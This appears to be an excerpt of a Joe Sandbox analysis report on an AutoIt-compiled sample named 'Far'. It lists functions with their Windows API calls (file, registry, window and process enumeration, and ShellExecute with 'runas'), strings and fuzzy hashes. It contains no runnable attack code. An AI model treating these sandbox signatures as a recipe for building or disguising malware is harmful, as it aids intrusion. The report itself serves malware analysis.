Opcode Fuzzy Hash: 138d970bcafbcf0fce3962cf9bcb081ba53b453e27770a172e93d5712241f3c4
Instruction Fuzzy Hash: B9D16421B4EA0AA1EE58FB96C55467CA360FF84F44FD45431CB0E57691EF3CD862AB20

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D042B68 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 60
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32 ref: 00007FF73D042B82
LoadCursorW.USER32 ref: 00007FF73D042B92
LoadIconW.USER32 ref: 00007FF73D042BA7
LoadIconW.USER32 ref: 00007FF73D042BC0
LoadIconW.USER32 ref: 00007FF73D042BD9
LoadImageW.USER32 ref: 00007FF73D042C05
RegisterClassExW.USER32 ref: 00007FF73D042C69

Part of subcall function 00007FF73D042D74: GetSysColorBrush.USER32 ref: 00007FF73D042DC9
Part of subcall function 00007FF73D042D74: RegisterClassExW.USER32 ref: 00007FF73D042DFA
Part of subcall function 00007FF73D042D74: RegisterWindowMessageW.USER32 ref: 00007FF73D042E0E
Part of subcall function 00007FF73D042D74: InitCommonControlsEx.COMCTL32 ref: 00007FF73D042E2C
Part of subcall function 00007FF73D042D74: ImageList_Create.COMCTL32 ref: 00007FF73D042E47
Part of subcall function 00007FF73D042D74: LoadIconW.USER32 ref: 00007FF73D042E60
Part of subcall function 00007FF73D042D74: ImageList_ReplaceIcon.COMCTL32 ref: 00007FF73D042E73

Strings

AutoIt v3, xrefs: 00007FF73D042C23

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
String ID: AutoIt v3
API String ID: 423443420-1704141276
Opcode ID: 61cfe2bd7aabbd649a034968b1568ef5e38b920e78fef4c73728b9a9439642cb
Instruction ID: e3155c6b03eff26b4cf5ea369c10ad871166c66678312a4ab1ae663b6b69fe6a
Opcode Fuzzy Hash: 61cfe2bd7aabbd649a034968b1568ef5e38b920e78fef4c73728b9a9439642cb
Instruction Fuzzy Hash: 18311A36A09B0AE6E740EB91F8443A9B374FB84B58F910135C94D13B58EFBE9098D760

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0878D8 Relevance: 13.8, APIs: 9, Instructions: 272
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF73D087608: _invalid_parameter_noinfo.LIBCMT ref: 00007FF73D087649
Part of subcall function 00007FF73D087608: _invalid_parameter_noinfo.LIBCMT ref: 00007FF73D0876C6
Part of subcall function 00007FF73D087608: _invalid_parameter_noinfo.LIBCMT ref: 00007FF73D087717

CreateFileW.KERNELBASE ref: 00007FF73D0879D9
CreateFileW.KERNEL32 ref: 00007FF73D087A35
GetLastError.KERNEL32 ref: 00007FF73D087A69
GetFileType.KERNELBASE ref: 00007FF73D087A7E
GetLastError.KERNEL32 ref: 00007FF73D087A88
CloseHandle.KERNEL32 ref: 00007FF73D087ABB
CloseHandle.KERNEL32 ref: 00007FF73D087C14
CreateFileW.KERNEL32 ref: 00007FF73D087C4C
GetLastError.KERNEL32 ref: 00007FF73D087C5B

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type
String ID:
API String ID: 1617910340-0
Opcode ID: bd0683d3a3ba299cfcf06e253b2931ac07f180c7c64e43b398f25206f3f08552
Instruction ID: 0af9d0422dec4cbe9ac3ef77d0a2d9cd48cdfd9168a99b6bcdc0b0478951d0d8
Opcode Fuzzy Hash: bd0683d3a3ba299cfcf06e253b2931ac07f180c7c64e43b398f25206f3f08552
Instruction Fuzzy Hash: 9BC1E233B18A599AEB10DFA4D4813AC7761EB89B98F441235CE2E5B7D8EF38E411D310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0505A5 Relevance: 12.4, APIs: 8, Instructions: 432
windowtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetInputState.USER32 ref: 00007FF73D0506AA
timeGetTime.WINMM ref: 00007FF73D05088C
PeekMessageW.USER32 ref: 00007FF73D0509B3
TranslateMessage.USER32 ref: 00007FF73D0509F3
DispatchMessageA.USER32 ref: 00007FF73D0509FD
PeekMessageW.USER32 ref: 00007FF73D050A17

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: Message$Peek$DispatchInputStateTimeTranslatetime
String ID:
API String ID: 3249950245-0
Opcode ID: 566ba4177f0000d8c12a605407bc73385d66e257620743a6dc756e6c99c6913b
Instruction ID: e3e9772880a9bab266dd1b0688ccd3969323b1952218ae08b1603571d62219e9
Opcode Fuzzy Hash: 566ba4177f0000d8c12a605407bc73385d66e257620743a6dc756e6c99c6913b
Instruction Fuzzy Hash: 8512D672E0C68AA6FB64ABA0E4543BDB7A1EB41F44F944035DA8D07694EF7CE450E720

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D08114C Relevance: 10.8, APIs: 7, Instructions: 294
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF73D081591

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 0954954c7d297e24944f813ad065bf1254021cef18a42e794a92f1f52167dbfe
Instruction ID: eeff522ec073adc633b165542e70409474d77f1968b173147a033cdd962c3628
Opcode Fuzzy Hash: 0954954c7d297e24944f813ad065bf1254021cef18a42e794a92f1f52167dbfe
Instruction Fuzzy Hash: 39C10562A0C68AA1EB61AF95D44027DAB91FF80F80FD50135EA4E077D5EF3CE445E722

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D042CA0 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 40
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32 ref: 00007FF73D042CF0
CreateWindowExW.USER32 ref: 00007FF73D042D43
ShowWindow.USER32 ref: 00007FF73D042D59

Strings

AutoIt v3, xrefs: 00007FF73D042CAC
d, xrefs: 00007FF73D042CD8
edit, xrefs: 00007FF73D042CFC

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: Window$Create$Show
String ID: AutoIt v3$d$edit
API String ID: 2813641753-2600919596
Opcode ID: 3d6d6258cebddfd5ab976a1f69be8488d570fa555c953fe9476a3b583b71411a
Instruction ID: 76ed5243892c3381a1e077c35ee1105402b5a45c195d86eb9d71967360b06c58
Opcode Fuzzy Hash: 3d6d6258cebddfd5ab976a1f69be8488d570fa555c953fe9476a3b583b71411a
Instruction Fuzzy Hash: C1219332A1CF4697E750DF90F488369B3A1F788BA9F910138E64D46A54DFBED048CB10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D044620 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 101windowCOMMON

Download Yara Rule

APIs

wcscpy.LIBCMT ref: 00007FF73D04470A
Shell_NotifyIconW.SHELL32 ref: 00007FF73D044718
LoadStringW.USER32 ref: 00007FF73D08AF38

Strings

Line %d: , xrefs: 00007FF73D08AFB1
AutoIt - , xrefs: 00007FF73D04469B

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: IconLoadNotifyShell_Stringwcscpy
String ID: Line %d: $AutoIt -
API String ID: 3135491444-4094128768
Opcode ID: 2d11c3752225f5213f294d62c4563cd654303f0d41f515698f791c72b344c803
Instruction ID: 200d028aea8f589c3fb935d6c148e4a12786bea75f521b3ea236f58d98c3847a
Opcode Fuzzy Hash: 2d11c3752225f5213f294d62c4563cd654303f0d41f515698f791c72b344c803
Instruction Fuzzy Hash: 9B41A372A0CA9AB6E710FBA1E4445FAA361FB85B44FC00131E54C4759AFF7CE509DB60

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D06578C Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

_set_fmode.LIBCMT ref: 00007FF73D0657A3
__scrt_initialize_onexit_tables.LIBCMT ref: 00007FF73D0657BC
_RTC_Initialize.LIBCMT ref: 00007FF73D0657C5

Part of subcall function 00007FF73D065454: _onexit.LIBCMT ref: 00007FF73D065458

Part of subcall function 00007FF73D07A54C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF73D07A576

__scrt_fastfail.LIBCMT ref: 00007FF73D06583D
__scrt_initialize_default_local_stdio_options.LIBCMT ref: 00007FF73D065848

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: Initialize__scrt_fastfail__scrt_initialize_default_local_stdio_options__scrt_initialize_onexit_tables_invalid_parameter_noinfo_onexit_set_fmode
String ID:
API String ID: 2117695475-0
Opcode ID: 850fa46355b92f9e0f53d10fb2a605fd89bcd8461486f5cb807cec1d16d7ac5b
Instruction ID: b958e99ef6abfb69385db27774fa303f25b7fd80bbf5eb2b77b6850187c1da62
Opcode Fuzzy Hash: 850fa46355b92f9e0f53d10fb2a605fd89bcd8461486f5cb807cec1d16d7ac5b
Instruction Fuzzy Hash: C8119910F0C10BB6FA68B7F0851A2BD8191DF91F04FC40474E60E9A1C3FF1DA899A632

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D044DE4 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 185comCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF73D0633E4: MapVirtualKeyW.USER32(?,?,?,00007FF73D044EC6), ref: 00007FF73D063416
Part of subcall function 00007FF73D0633E4: MapVirtualKeyW.USER32(?,?,?,00007FF73D044EC6), ref: 00007FF73D063424
Part of subcall function 00007FF73D0633E4: MapVirtualKeyW.USER32(?,?,?,00007FF73D044EC6), ref: 00007FF73D063434
Part of subcall function 00007FF73D0633E4: MapVirtualKeyW.USER32(?,?,?,00007FF73D044EC6), ref: 00007FF73D063444
Part of subcall function 00007FF73D0633E4: MapVirtualKeyW.USER32(?,?,?,00007FF73D044EC6), ref: 00007FF73D063452
Part of subcall function 00007FF73D0633E4: MapVirtualKeyW.USER32(?,?,?,00007FF73D044EC6), ref: 00007FF73D063460

Part of subcall function 00007FF73D0455A8: RegisterWindowMessageW.USER32(?,?,?,00007FF73D045050), ref: 00007FF73D045612

GetStdHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF73D04106D), ref: 00007FF73D045130
OleInitializeWOW.OLE32 ref: 00007FF73D0451B6
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF73D04106D), ref: 00007FF73D08B2CA

Strings

AutoIt, xrefs: 00007FF73D044E67

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: Virtual$Handle$CloseInitializeMessageRegisterWindow
String ID: AutoIt
API String ID: 1986988660-2515660138
Opcode ID: 01eaa3fa0f2dfdac1478d518468f6ef265075edaf64ce2446a91aa85ffc68ec8
Instruction ID: 8ad29ba20160fb39ea799ee2ba1e75f1b8296986787058154e49329363a65bdd
Opcode Fuzzy Hash: 01eaa3fa0f2dfdac1478d518468f6ef265075edaf64ce2446a91aa85ffc68ec8
Instruction Fuzzy Hash: A4C1FB71D0CB4BA6E740EB95B8800B4F7A8FF94780BD60236D44D42660FFBE6199E760

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D05C69C Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

GetOpenFileNameW.COMDLG32 ref: 00007FF73D0A0F48

Part of subcall function 00007FF73D05D3F4: GetFullPathNameW.KERNEL32(?,00007FF73D05D3E1,?,00007FF73D044D38,?,?,?,00007FF73D04109E), ref: 00007FF73D05D41F

Part of subcall function 00007FF73D05D4C0: GetLongPathNameW.KERNELBASE ref: 00007FF73D05D4E4

Strings

Run Script:, xrefs: 00007FF73D0A0EF3
au3, xrefs: 00007FF73D0A0F26
AutoIt script files (*.au3, *.a3x), xrefs: 00007FF73D0A0F1A

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: Name$Path$FileFullLongOpen
String ID: AutoIt script files (*.au3, *.a3x)$Run Script:$au3
API String ID: 779396738-2360590182
Opcode ID: 88249c6a1ccf26aa5524af22e8d5c0eadc741d17132a6cdbcffa4f30457a9448
Instruction ID: 1c6f8843afb53f3c8aad031b4718b5bdbf122a9b40698393fe5c22449e1aee1c
Opcode Fuzzy Hash: 88249c6a1ccf26aa5524af22e8d5c0eadc741d17132a6cdbcffa4f30457a9448
Instruction Fuzzy Hash: A7318F7260CB8A99E710EFA1E8401ADB7A5FB49B84F984135DE8C43B55EF3CD544D720

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D08A622 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

SetCurrentDirectoryW.KERNEL32 ref: 00007FF73D042B48

Part of subcall function 00007FF73D05D3A0: GetModuleFileNameW.KERNEL32(?,00007FF73D044D38,?,?,?,00007FF73D04109E), ref: 00007FF73D05D3BF

GetForegroundWindow.USER32 ref: 00007FF73D08A68A
ShellExecuteW.SHELL32 ref: 00007FF73D08A6B1

Strings

runas, xrefs: 00007FF73D08A695

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: CurrentDirectoryExecuteFileForegroundModuleNameShellWindow
String ID: runas
API String ID: 3686610399-4000483414
Opcode ID: 3be8f00ca0e46369e39409468333b1e4ccc4b2cbc8b2745a680b7241c59db7ac
Instruction ID: f05272ccd02975df81afa1bcba417577540817559c699745442e273f03055972
Opcode Fuzzy Hash: 3be8f00ca0e46369e39409468333b1e4ccc4b2cbc8b2745a680b7241c59db7ac
Instruction Fuzzy Hash: 0D316D61E1C54BB2EA50FBA0F8445F9E361BF80B40FC00031E54E065A6BF6CE649EB20

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D047EE0 Relevance: 6.2, APIs: 4, Instructions: 247fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(?,?,00007FF73D05C715,?,?,?,00007FF73D047563,?,?,?,?,?,?,?,00007FF73D047ED8), ref: 00007FF73D0480A4
SetFilePointerEx.KERNEL32(?,?,00007FF73D05C715,?,?,?,00007FF73D047563,?,?,?,?,?,?,?,00007FF73D047ED8), ref: 00007FF73D08C83E

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: File$PointerRead
String ID:
API String ID: 3154509469-0
Opcode ID: fca5e87318ff2841342a100c57f7c6fbaa1f4b5127350fe43723f16529682594
Instruction ID: 4ea71b7896e9c69ee9df53f3cdf947f03b3fc56e9cf5e9ac9b01e02211e65356
Opcode Fuzzy Hash: fca5e87318ff2841342a100c57f7c6fbaa1f4b5127350fe43723f16529682594
Instruction Fuzzy Hash: E9B1D772A0CA5A96E721EB95E058639E3B0FF44F90F914531DA9E03790FF3DE041A760

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0BCAD8 Relevance: 6.1, APIs: 4, Instructions: 101processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00007FF73D0BCB13
Process32FirstW.KERNEL32 ref: 00007FF73D0BCB23
FindCloseChangeNotification.KERNELBASE ref: 00007FF73D0BCC2D

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: ChangeCloseCreateFindFirstNotificationProcess32SnapshotToolhelp32
String ID:
API String ID: 692674288-0
Opcode ID: 3aa217faec2488a085a5d2137956a00219dfdb0ba79b00fb47df8247b19ce7fb
Instruction ID: 743feec0ee44cb0c38d5e9e342af21af4016abcd6f4636976c0735e293157f88
Opcode Fuzzy Hash: 3aa217faec2488a085a5d2137956a00219dfdb0ba79b00fb47df8247b19ce7fb
Instruction Fuzzy Hash: 65418122A1CA96A1E710FBA1D4845AEE364FB94F84FD44032EE4E07755EF7CE505DB10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D041140 Relevance: 4.6, APIs: 3, Instructions: 67timewindowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF73D044620: wcscpy.LIBCMT ref: 00007FF73D04470A
Part of subcall function 00007FF73D044620: Shell_NotifyIconW.SHELL32 ref: 00007FF73D044718

KillTimer.USER32 ref: 00007FF73D0411D8
SetTimer.USER32 ref: 00007FF73D0411ED
Shell_NotifyIconW.SHELL32 ref: 00007FF73D089EAD

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: IconNotifyShell_Timer$Killwcscpy
String ID:
API String ID: 3812282468-0
Opcode ID: f32f8546605101e790793f6cd567c25f9fc03ce5bbceb99a94b21c56dbf42347
Instruction ID: 3062b31c3a7122de558aba60f7ac3fa0308ef347297bd2742bfcba5a107789de
Opcode Fuzzy Hash: f32f8546605101e790793f6cd567c25f9fc03ce5bbceb99a94b21c56dbf42347
Instruction Fuzzy Hash: EE310762A0C795A6EB21AB51E0402BDBB68EB44FC4F984031CE8D07745EF2CD644C760

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D05CD48 Relevance: 4.6, APIs: 3, Instructions: 64COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE(?,?,00000000,00007FF73D05CC6D), ref: 00007FF73D05CDCF
SetFilePointerEx.KERNELBASE(?,?,00000000,00007FF73D05CC6D), ref: 00007FF73D05CDE7

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 34200e826e90f7bcf0032023a095b952565998b9d268f4cf0b1607b690fe84c7
Instruction ID: 8c5b1e405cf44e7edaed3d996f4c22a82d1e22a6e0e8a12e0c507e360f9c433d
Opcode Fuzzy Hash: 34200e826e90f7bcf0032023a095b952565998b9d268f4cf0b1607b690fe84c7
Instruction Fuzzy Hash: D121F172A1DB8592EB50DB96E1402ACA761FB44FC4F904036EB0E43B44DF3CE4A5D760

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D04436C Relevance: 4.6, APIs: 3, Instructions: 57registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(?,?,?,?,?,?,?,00007FF73D04435E,?,?,?,?,?,?,00007FF73D044C14), ref: 00007FF73D0443B1
RegQueryValueExW.KERNELBASE(?,?,?,?,?,?,?,00007FF73D04435E,?,?,?,?,?,?,00007FF73D044C14), ref: 00007FF73D0443DF
RegCloseKey.KERNELBASE(?,?,?,?,?,?,?,00007FF73D04435E,?,?,?,?,?,?,00007FF73D044C14), ref: 00007FF73D044406

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: 7e06e7158ad2b06198f10be932ad8853ebd3a9e99d2ee993ed22abc941eadc66
